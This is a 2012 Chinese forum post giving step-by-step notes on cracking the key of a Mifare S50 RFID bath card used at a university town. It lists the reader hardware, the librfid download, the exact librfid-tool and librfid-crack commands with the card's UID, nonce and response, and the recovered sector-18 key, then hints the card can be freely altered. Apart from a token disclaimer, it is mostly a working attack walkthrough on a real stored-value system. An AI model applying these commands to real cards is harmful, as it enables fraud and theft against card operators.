几何尺寸与公差论坛

 找回密码
 注册
查看: 188|回复: 0

破解简单Mifare射频卡密钥杂记

[复制链接]
发表于 2012-5-14 10:42:10 | 显示全部楼层 |阅读模式
本文仅供研究学习,由此造成的任何法律后果本人概不负责

先要了解一点大学城浴卡用的是什么卡,经查证是Mifare  S50卡,也有叫ISO14443A的(协议名)。本来想看看大学城浴卡有没有安全漏洞,没想到浴卡公司在安全性上几乎是蔑视我们大学生的智商,虽然被破解了还继续用!而且这种破解很厉害,除了在线的(比如大学城的校园卡、公交卡),离线的系统基本没有可以抵挡这种破解。
当然要干这档事,总得有读写卡器吧,淘宝上一搜一大堆啊,120元左右一个。不过呢,我推荐一个国外叫OpenPCD小组的产品,毕竟人家不管是电路图还是软件统统开源嘛。他们项目的地址在
http://www.openpcd.org
样卡图片:

接下来是软件,因为都是USB连接的,所以Linux下没什么驱动问题,只缺需要一个库文件,执行svn co  http://svn.gnumonks.org/trunk/librfid下载编译后呢,就可以使用了。
然后在目录底下执行librfid-tool  -s
获得每张卡(标签)的UID:
比如我的浴卡返回了SERIAL: (4): 91 5c c5 2f 33 56 a1  c9
我的浴卡UID是“91 5c c5 2f”,随机密码值“33 56 a1  c9”
然后是霸气的一条命令
librfid-tool -d -s 91 5c c5 2f -n 33 56 a1 c9 -sp 18  -k2 FF FF FF FF FF  FF
哦……忘了说了,Mifare卡的加密是两个密钥互相锁定!读写是一个个扇区进行的,不能一个个字节读写,所以有了



  • -sp:据查,只有18扇区浴卡公司加了密,其他扇区都是没有意义的空值,所以扇区填18
  • -k2:这个是keyB,也就是第二个密钥,好吧,我承认我实验了很多次才知道是keyB是关键。后面的12个F只是乱写的密钥,你也可以随便编。
  • -d:其实是dump,原始数据返回,这里用来破解了
这条命令下去,hoho,返回了“RX (4) 6a 12 c9  0b”,(4)说明密码错误。
废话,不错误那我这文章写来干吗?当然这个返回值极度重要
在下来是librdif-crack登场!
librfid-crack  -u 91 5c c5 2f -r 6a 12 c9 0b -sp 18 -k2 FF FF FF FF FF  FF
好吧,我不多解释了,大家对着文档或者呃参数画虎吧。
我的浴卡返回值是:
“Cracked: 02 10 66  36 80 80”
奇怪吧,怎么这么像电话号码,我查了查……还真是这家公司的电话号码,哎……
有了密钥后想干吗干吗了
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|小黑屋|几何尺寸与公差论坛

GMT+8, 2024-4-24 22:22 , Processed in 0.035963 second(s), 19 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表